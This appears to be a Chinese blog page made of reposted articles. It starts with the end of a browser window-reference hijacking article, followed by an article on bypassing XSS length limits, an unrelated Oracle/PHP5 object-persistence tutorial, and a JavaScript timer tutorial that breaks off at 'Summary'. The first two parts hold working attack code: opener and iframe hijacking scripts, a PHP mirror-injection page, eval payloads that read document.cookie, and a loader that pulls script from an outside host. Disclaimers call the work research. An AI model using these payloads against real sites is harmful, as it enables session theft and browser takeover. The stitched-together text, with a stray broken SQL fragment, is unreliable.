<script language="javascript">
function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
javascript:window.opener.location = "http://www.80sec.com";void(0);
五、利用窗口引用漏洞劫持浏览器

经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下会产生什么可怕的后果。

下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php。

这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可以做更多的事情,所有的一切仅仅是因为点击了一个链接。

<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
</script>
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。


六、利用XSS漏洞劫持浏览器

延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起讨论跨站师的终极技巧:


6.1 正向跨窗口劫持

大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话框脚本。
javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
6.2 反向跨窗口劫持

同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话框脚本。

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

6.3 极度危险的跨框架窗口引用劫持

非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个非持久型的XSS,如下:
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
注入脚本。

<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>

6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过异常处理规避之间跨域页面的访问异常,代码如下:
javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可以劫持B域之前的A域页面,从而实现“隔空打击”。

同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。

结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。


6.5 完全控制浏览器

一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站师的终极目标 - 完全控制浏览器。


七、后记

文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

突破XSS字符数量限制执行任意JS代码

突破XSS字符数量限制执行任意JS代码

贴本文的意思并非传播黑客技术,而是根据攻击的方向和内容来提醒自己 ,以后写代码需要注意的事项。

原文:http://hi.baidu.com/isbx/blog/item/bee2d31b7ab4bdddac6e7521.html

==Ph4nt0m Security Team==
Issue 0x03, Phile #0x04 of 0x07
|=---------------------------------------------------------------------------=|
|=-----------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[ By luoluo ]=---------------------------=|
|=----------------------=[ <luoluo#ph4nt0m.org> ]=-------------------------=|
|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|
|=---------------------------------------------------------------------------=|


[目录]

1. 综述
2. 突破方法
2.1 利用HTML上下文中其他可以控制的数据
2.2 利用URL中的数据
2.3 JS上下文的利用
2.4 利用浏览器特性在跨域的页面之间传递数据
2.4.1 document.referrer
2.4.2 剪切板clipboardData
2.4.3 窗口名window.name
2.5 以上的方式结合使用
3. 后记
4. 参考


一、综述

有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些极端情况下的XSS漏洞。

突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数据。


二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:

<div id="x">可控的安全的数据</div>
<limited_xss_point>alert(/xss/);</limited_xss_point>
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
长度:28 + len(id)

由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。


2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到最后:
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
长度:30
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
长度:31

上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个字符:
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
长度:29
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
长度:30

那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
长度:29

这样比上面的例子又少了一个字符。那么还可以更短么?


2.3 JS上下文的利用

为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:
String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的简化函数,最经典的例子就是:

function $(id) {
return document.getElementById(id);
}
这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:
function loads(url) {
...
document.body.appendChild(script);
}

<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>

长度:len(函数名) + len(url) + 5

当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
function get(url) {
...
return x.responseText;
}

<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
长度:len(函数名) + len(url) + 11

道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:
JQuery
YUI
...

综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我们的代码,进而突破长度限制执行任意代码。


2.4 利用浏览器特性在跨域的页面之间传递数据

虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了Payload,被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面:
http://www.a.com/attack.html?...&alert(document.cookie)

<a href="http://www.xssedsite.com/xssed.php">go</a>
被XSS的页面:
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
长度:34

这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:

<script type="text/javascript">
<!--
window.onload = function(){
var f = document.createElement("form");
f.setAttribute("method", "get");
f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
document.body.appendChild(f);
f.submit();
};
//-->
</script>
2.4.2 剪切板clipboardData

攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获取并执行该数据。

攻击者构造的页面:

<script>
clipboardData.setData("text", "alert(document.cookie)");
</script>
被XSS的页面:

<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
长度:36

这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。


2.4.3 窗口名window.name

这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数据的,但是这个特性本身并不是漏洞。

如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS或者VBS。

但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:

攻击者构造的页面:

<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>

被XSS的页面:

<limited_xss_point>eval(name);</limited_xss_point>

长度:11

这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思的技巧,这个技巧的发现也是促成本文的直接原因。

window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文章来探讨。


2.5 以上的方式结合使用

以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况中,灵活的组合上面的方法可能会起到奇效。


三、后记

JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎和我交流!

感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!

本文是纯粹的技术探讨,请勿用于非法用途!


四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

在 Oracle 中完成 PHP5 对象的持久

在 Oracle 中完成 PHP5 对象的持久

在数据库驱动的 Web 应用程序中实现 PHP5 对象的持久,朝着完全面向对象的 Web 应用程序开发迈进重要的一步。

许多开发人员都认同 PHP5 的面向对象实现的简洁和高效,并且同样被世界上最著名的数据库 — Oracle — 的强大功能和强健性所吸引。然而,从逻辑上更进一步 — 将 PHP 对象存储在数据库中以进行 Web 应用程序开发 — 可能将非常困难。

在这篇方法文档中,您将了解到如何通过一个(在 OracleDatabaseObject 程序包(下载)中提供的)对象持久层来存储和检索作为 Oracle 数据库中的对象的 PHP5 对象。利用这一技巧,任何 Oracle 开发人员都能够在他们的 Web 应用程序中最终实现完全面向对象 — 从而专注于应用程序逻辑,而不是麻烦的 SQL 和编码。

什么是对象持久层?

在解释如何在 Oracle 数据库中实现 PHP 对象的持久的机制之前,大家需要先了解支持它们的原理:对象持久层的概念。

世界上最受欢迎的脚本语言 PHP 只是在最近才为我们提供了面向对象的一个完整和合理的实现(在 PHP5 中)。这为希望效仿面向对象方法的严格性和灵活性的开发人员展现了一个激动人心的前景,面向对象方法在“传统的”编程环境中已经存在了很多年。然而,由于 关系数据库在 Web 的发展中扮演了如此关键的角色,希望充分利用这种方法的开发人员将面临一个的两难境地:对象技术明显不适合关系数据库技术。数据库需要表,而不是类;表需 要行,而不是对象。教科书上把这种现象称为“阻抗失谐”。

早于对象技术出现的关系数据库可以对作为简单类型集中在一起的简单数据进行适当地建模;例如,Person 表可以包含姓名 (varchar2)、身高 (INT) 和出生日期 (DATE) 列。相比而言,对象技术支持复杂数据类型的概念。例如,Person 对象可以包含 name 和 height 的基本类型,但也可以包含类型为 Person 的 partner、类型为 Job 的 job,每一种类型都有它们自己的复杂的数据结构。

因此,想收获面向对象方法的好处并存储复杂数据类型(PHP 对象)的 Web 开发人员只有两种选择:模拟或使用对象数据库,或者更可能的是,以专门的方式简单地存储数据对象。后一种做法(虽然很流行)是完全不可接受的,因为它抛弃 了面向对象的简洁性、可扩展性和可重用性,而这些是面向对象的主要好处。

幸运的是,Oracle 提供了对象类型、PL/SQL 和 REF。这些特性结合在一起形成了 Oracle 自己的面向对象实现;虽然这种实现从技术上看是不完整的,但它的确使开发人员能够容易地将对象存储为数据库对象,而不是以固定类型存储在表的行中。

然而,只是因为 PHP 和 Oracle “使用”对象技术并不意味着可以将 PHP 对象存储为 Oracle 对象(反之亦然)。因此,需要对象持久层服务来使 PHP 开发人员能够简单、高效地在 Oracle 数据库中存储和检索对象。

可以通过许多方式来执行这一操作,但所有方法都必须满足同样的需求:

  1. 必须通过简单、高效的服务来存储和检索对象。
  2. 存储在数据库中的对象必须能够包含对其他对象(复杂数据类型)的引用。
  3. 每一个对象必须有一个唯一的标识符。
  4. 当保存对象时,还必须能够保存所有其他相关的对象状态。
  5. 当检索对象时,还必须能够检索所有其他相关的对象状态。

OracleDatabaseObject 程序包是我对这些需求的实现。它反映了现有的最简洁的方法:使用抽象类和数据类型来对通用 的 Oracle 数据库对象建模。该方法允许任意类简单地继承这个通用类,从而继承持久所需的所有服务 — 实质上将其自身封装在一个可以和 Oracle 数据库接口的层中(参见下图)。

a32302c6c85e8d6d14d175216a7cde25

对象持久层将动态提供在数据库中实现对象持久所需的一切。无论何时当调用了方法 save() 来将 PHP5 对象存储到数据库中时,持久层的第一个任务是测试在此之前是否存储过这种类型的对象。如果没有,则将检查对象的状态(属性类型和值)。考虑以下对象:

c46b0a0317fc6e25cfa05c9239201e93

如果在 Person1 上调用了 save() 方法,并且这是要保存在数据库中的第一个类型为 Person 的对象,那么将检查状态和它们的类型 — 在这种情况下,属性 Name、Age 和 Partner 分别有 PHP5 类型 String、Integer 和 Person。然后,要使这个对象能够持久,持久层将创建一个 Oracle 对象类型(也称为 Person),它的结构基于它对应的 PHP5 对象的状态。该层将在 Oracle 中复制 PHP5 类型 — Name (PHP5 string) 将变为 Oracle VARCHAR2;Age (PHP5 integer) 将变为 Oracle Number;PHP5 Partner(类型为 Person)将变为类型为 Person 的 Oracle REF。(关于这些转换的概述,请查看表 1。)

PHP5 类型 Oracle 对象类型
Numeric Number
String VARCHAR2
Array VARCHAR2 *
Object Object
Associated Object REF to Object

* 在撰写本文时,出于性能的目的,数组作为序列化的字符串以 VARCHAR2 类型存储在 Oracle 中。
然而,在未来,它们可能由 Oracle VARRAY 来实现。

一旦创建了 Oracle 对象类型结构来模拟它对应的 PHP5 类,属性值就将被保存到新创建的对象类型的表中。按照上述的第 4 点需求,当保存一个对象及其关联的对象时(如以上示例所示),还必须保存所有的关联关系。只需通过确保在检查和保存当前对象的内部状态时调用相关对象的 save() 方法来实现这一需求。

了解这些实现细节对于判断持久层具体在做些什么非常有用,但这种方法的强大之处在于您不需要了解这些。作为开发人员,您需要做的全部是利用交互对象来开发 和实现类 — 完全可以忽略所涉及的编程工作。利用这一层的服务,您可以在数据库中存储和检索对象,而永远无需设置表或处理 SQL,从而使您只需考虑应用程序自身的逻辑。

现在让我们看一个例子。

何时使对象持久

利用类和对象进行开发的实践是现在 PHP5 开发人员的日常工作。但并非所有这些对象都将在 Oracle 数据库中持久。因此,第一步是要决定是否需要为指定类的对象添加持久服务。

随着开发人员倾向于对 Web 全部使用面向对象,我们将共同创建并能够访问成千上万个类 — 但我们必须记住它们并非全部需要持久。相反,您必须考虑您的类代表了什么抽象概念,以及将如何在应用程序中使用类的对象。作为一条通用的基本原则:

如果在脚本完成之后必须存储对象的状态,并且在脚本运行时必须能够访问和/或更新对象的状态,那么就必须持久对象。

例如,大部分面向对象的 Web 开发人员会在应用程序中使用表单对象 — 但很少需要将它们存储在数据库中。例如,您不需要保存表单对象(包括其元素、目标、名称等),因为它在被创建之后就不会改变;所以无需在脚本中设置对象属 性并将它们存储在数据库中。相比而言,如果您在开发一个电子日历应用程序,那么您可能想使用条目对象作为每一天的对象,这种对象将在添加和编辑它们时改 变。当添加或修改了一个条目时,对象的状态也将改变;当一个条目变化时,您将把更新的版本保存在数据库中。

因此让我们利用这种应用程序的示例来浏览一下使用在下载(在撰写本文时提供了测试版本,计划在 2005 年底之前推出产品版本)中提供的 OracleDatabaseObject 程序包 (OracleDatabaseObject.class.php) 将持久服务添加到一个简单的 TestEntry 类 (TestEntry.class.php) 中的过程。

将 Oracle 数据库持久添加到类中

原始的 TestEntry 类如下所示:

class TestEntry
{

public $title;
public $body;
public $author;
public $dayName;


function display()
{

Echo $this->title ."<BR>" .$this->body ."<BR>" .$this->author;
}

}

传统上将这个类的对象存储在 Oracle 数据库中将非常复杂。这个过程将包含创建一个与类的内部状态类似的表,然后利用关系 SQL 编写一系列的过程函数来插入/更新/删除类的各个属性。这是一个非常复杂、低效的任务 — 当对象变得更复杂时(可能包含数组或其他对象),它将变得几乎不可能完成。

OracleDatabaseObject 类使得您在其他方式下将手动完成的一切 — 例如存储类的内部状态(包括所有属性的类型)和创建 Oracle 对象类型 — 都变为动态完成,从而使得这个过程变得非常简单。最终的结果是您永远无需担心创建或修改 Oracle 数据库中的表或类型;您所需做的一切是专注于应用程序的逻辑。

因此,下面将创建 TestEntry 对象,并在数据库中存储和检索它们,让您的类继承 OracleDatabaseObject 类,该类已经内置了您所需的所有服务(参见表 2)。

表 2
方法 参数 目的 用途示例
对象
save() 无 将当前对象保存为数据库中的对象 $anObject->save()
load() 无

利用当前的 objectName 从数据库中加载对象

$anObject->load()
类
addDatabaseUser ($username ) 包含用户名的字符串,该字符串将用于存储类对象的数据库
为存储类的对象的 Oracle 服务器设置用户名、口令和数据库名称,使得能够利用各自的用户名和口令在各个数据库中存储类。
ClassName::setUserName(‘scott’)
addDatabasePass ($password) 包含口令的字符串,该字符串将用于存储类对象的数据库
ClassName::setPassword(‘tiger’)


addDatabaseName ($databasename ) 包含数据库名称的字符串,该字符串将用于存储类对象的数据库 ClassName::setDatabase(‘orcl’)

将这些服务提供给 TestEntry 类的过程为:

<?php
include_once 'DatabaseObject.class.php';
include_once 'OracleDatabaseObject.class.php';

class TestEntry extends OracleDatabaseObject
{

public $title;
public $body;
public $author;
public $dayName;

function display()
{
echo $this->title ."<BR>" .$this->body ."<BR>" .$this->author;
}

}
下面您将通过使用 include_once 关键字(如第 1 行和第 2 行所示)来包含对您所需的类的访问权(OracleDatabaseObject 是一个继承 DatabaseObject 的抽象类)。然后可以使用 PHP5 继承关键字 extends(第 4 行)来继承 OracleDatabaseObject 类。继承的工作方式是获取父类的所有特性(方法)和属性(属性)并将它们提供给子类。这是一个简单但强大的想法(如下图所示):最初的 TestEntry 类继承 OracleDatabaseObject 类,产生一个结合了两者的特性的新的 TestEntry 类。
0def0772bc5245209b0a5c405ca16018

(左边显示的继承将产生右边显示的 Entry 类的一个新的版本。)

接下来,您将创建 TestEntry 类的对象,并使用服务层在 Oracle 数据库中保存和检索对象。

创建和使用 Oracle 持久对象

现在您的类拥有了所需的服务,将对象保存至数据库的过程将非常简单,如下所示 (ExampleA.php):

<?php
include_once "DatabaseObject.class.php";
include_once "OracleDatabaseObject.class.php";
include_once "TestEntry.class.php";

TestEntry::addDatabaseUser('scott');
TestEntry::addDatabasePass('tiger');
TestEntry::addDatabaseName('orcl');

$anEntry = new TestEntry();
$anEntry->title = 'Meeting with boss - 9am';
$anEntry->body = 'Meeting with boss scheduled to discuss raise';
$anEntry->author = 'Joe Bloggs';
$anEntry->dayName = 'Tuesday';
$anEntry->objectName = 'Tuesday';
$anEntry->display();
$anEntry->save();

在继承 OracleDatabaseObject 之后,您必须通过使用表 2 中所示的服务来将用户名、口令和数据库名称与类绑定(如第 5-7 行所示的方式)。这个操作将使得能够通过单独的用户名、口令和数据库名称来获取各个类(从而获取该类的所有对象) — 顺便说一句,这将为您的对象提供非常细粒化的安全性。

不过,您可能希望为对象提供特定的名称,例如 Tuesday。这种方式将使您能够通过调用 load() 方法从数据库中快速容易地检索对象(如下面的 ExampleB.php 所示)。

您应当注意的最后但可能最重要的一件事是第 14 行中的方法 save()。这个方法也继承了 OracleDatabaseObject 类,它只是将对象保存到数据库中。

加载 Oracle 对象

您已经看到了在 Oracle 中保存对象有多容易。您甚至不需要接触数据库!自然,下一步是检索它 — 这将一样简单。

使用 ExampleB.php 示例,您将把数据库对象加载到一个新的 PHP5 对象中(如下所示):

<?php
include_once "DatabaseObject.class.php";
include_once "OracleDatabaseObject.class.php";
include_once "TestEntry.class.php";

TestEntry::addDatabaseUser('scott');
TestEntry::addDatabasePass('tiger');
TestEntry::addDatabaseName('orcl');

$anEntry = new TestEntry();
$anEntry->objectName = "Tuesday";
$anEntry->load();
$anEntry->display();

这将产生和 ExampleA 相同的输出:只需从存储在数据库中的对象中重新加载对象的状态,无需任何复杂的调用和查询,并且只需通过调用 display() 方法来显示对象的状态。

$sql = "SELECT * FROM:
(
SELECT
r.*, ROWNUM as row_number
FROM:
( $select ) r
)
WHERE row_number BETWEEN :start_row AND :end_row";

关于更广泛的演示,请查看提供下载的完整的示例电子日历应用程序。它包含了类的源代码以及 UML 图,从而使您能够更彻底地研究这一技巧。

使用 Oracle/PHP5 对象

将对象存储在数据库中不只是一个小花招;相反,它是满足“完全在面向对象范例中进行开发”的需求的最后一步。它使您能够无缝地使用在传统的大型面向对象编 程中流行的所有技巧 — 使用诸如业务对象、UML 和契约式设计等方法 — 来进行分析、设计、开发和测试。这是一种激进的想法,但 Web 开发领域正朝这个方向努力。


Barry McKay 是一个居住在苏格兰 Glasgow 的兼职 Web 开发人员和面向对象方法的拥护者。他还是 International PHP Magazine 的撰稿人。

Tutorial: JavaScript timers with setTimeout and setInterval

Tutorial: JavaScript timers with setTimeout and setInterval

前两天被setInterval搞了一下,后来查查资料,发现这个介绍的还行,于是复制下来,当成资料备查

In this tutorial we'll look at JavaScript's setTimeout(), clearTimeout(), setInterval() and clearInterval() methods, and show how to use them to set timers and create delayed actions.

JavaScript features a handy couple of methods of the window object: setTimeout() and setInterval(). These let you run a piece of JavaScript code at some point in the future. In this tutorial we'll explain how these two methods work, and give some practical examples.

setTimeout()

window.setTimeout() allows you to specify that a piece of JavaScript code (called an expression) will be run a specified number of milliseconds from when the setTimeout() method was called. The general syntax of the method is:

setTimeout ( expression, timeout );
where expression is the JavaScript code to run after timeout milliseconds have elapsed.

setTimeout() also returns a numeric timeout ID that can be used to track the timeout. This is most commonly used with the clearTimeout() method (see below).

Here's a simple example:

<input type="button" name="clickMe" value="Click me and wait!"
onclick="setTimeout('alert(\'Surprise!\')', 5000)"/>

When a visitor clicks the button, the setTimeout() method is called, passing in the expression that we want to run after the time delay, and the value of the time delay itself - 5,000 milliseconds or 5 seconds.

It's worth pointing out that setTimeout() doesn't halt the execution of the script during the timeout period; it merely schedules the specified expression to be run at the specified time. After the call to setTimeout() the script continues normally, with the timer running in the background.

In the above simple example we embedded the entire code for our JavaScript alert box in the setTimeout() call. More usually, you'd call a function instead. In this next example, clicking a button calls a function that changes the button's text colour to red. At the same time, this function also sets up a timed function using setTimeout() that sets the text colour back to black after 2 seconds:

<script type="text/javascript">

function setToRed ( )
{
document.getElementById("colourButton").style.color = "#FF0000";
setTimeout ( "setToBlack()", 2000 );
}

function setToBlack ( )
{
document.getElementById("colourButton").style.color = "#000000";
}

</script>

<input type="button" name="clickMe" id="colourButton" value="Click me and wait!" onclick="setToRed()"/>

clearTimeout()

Sometimes it's useful to be able to cancel a timer before it goes off. The clearTimeout() method lets us do exactly that. Its syntax is:

clearTimeout ( timeoutId );

where timeoutId is the ID of the timeout as returned from the setTimeout() method call.

For example, the following code sets up an alert box to appear after 3 seconds when a button is clicked, but the visitor can click the same button before the alert appears and cancel the timeout:

<script type="text/javascript">

var alertTimerId = 0;

function alertTimerClickHandler ( )
{
if ( document.getElementById("alertTimerButton").value == "Click me and wait!" )
{
// Start the timer
document.getElementById("alertTimerButton").value = "Click me to stop the timer!";
alertTimerId = setTimeout ( "showAlert()", 3000 );
}
else
{
document.getElementById("alertTimerButton").value = "Click me and wait!";
clearTimeout ( alertTimerId );
}
}

function showAlert ( )
{
alert ( "Too late! You didn't stop the timer." );
document.getElementById("alertTimerButton").value = "Click me and wait!";
}

</script>

<input type="button" name="clickMe" id="alertTimerButton" value="Click me and wait!" onclick="alertTimerClickHandler()"/>

setInterval()

The setInterval() function is very closely related to setTimeout() - they even share similar syntax:

setInterval ( expression, interval );

The important difference is that, whereas setTimeout() triggers expression only once, setInterval() keeps triggering expression again and again (unless you tell it to stop).

So when should you use it? Essentially, if you ever find yourself writing code like:

setTimeout ( "doSomething()", 5000 );

function doSomething ( )
{
// (do something here)
setTimeout ( "doSomething()", 5000 );
}

...then you should probably be using setInterval() instead:

setInterval ( "doSomething()", 5000 );

function doSomething ( )
{
// (do something here)
}

Why? Well, for one thing you don't need to keep remembering to call setTimeout() at the end of your timed function. Also, when using setInterval() there's virtually no delay between one triggering of the expression and the next. With setTimeout(), there's a relatively long delay while the expression is evaluated, the function called, and the new setTimeout() being set up. So if you need regular, precise timing - or you need to do something at, well, set intervals - setInterval() is your best bet.

clearInterval()

As you've probably guessed, if you want to cancel a setInterval() then you need to call clearInterval(), passing in the interval ID returned by the call to setInterval().

Here's a simple example of setInterval() and clearInterval() in action. When you press a button, the following code displays "Woo!" and "Yay!" randomly every second until you tell it to stop. (I said a simple example, not a useful one.) Notice how we've also used a setTimeout() within the wooYay() function to make the "Woo!" or "Yay!" disappear after half a second:

<script type="text/javascript">

var wooYayIntervalId = 0;

function wooYayClickHandler ( )
{
if ( document.getElementById("wooYayButton").value == "Click me!" )
{
// Start the timer
document.getElementById("wooYayButton").value = "Enough already!";
wooYayIntervalId = setInterval ( "wooYay()", 1000 );
}
else
{
document.getElementById("wooYayMessage").innerHTML = "";
document.getElementById("wooYayButton").value = "Click me!";
clearInterval ( wooYayIntervalId );
}
}

function wooYay ( )
{
if ( Math.random ( ) > .5 )
{
document.getElementById("wooYayMessage").innerHTML = "Woo!";
}
else
{
document.getElementById("wooYayMessage").innerHTML = "Yay!";
}

setTimeout ( 'document.getElementById("wooYayMessage").innerHTML = ""', 500 );

}

</script>

<div id="wooYayMessage" style="height: 1.5em; font-size: 2em; color: red;"></div>
<input type="button" name="clickMe" id="wooYayButton" value="Click me!" onclick="wooYayClickHandler()"/>

Summary

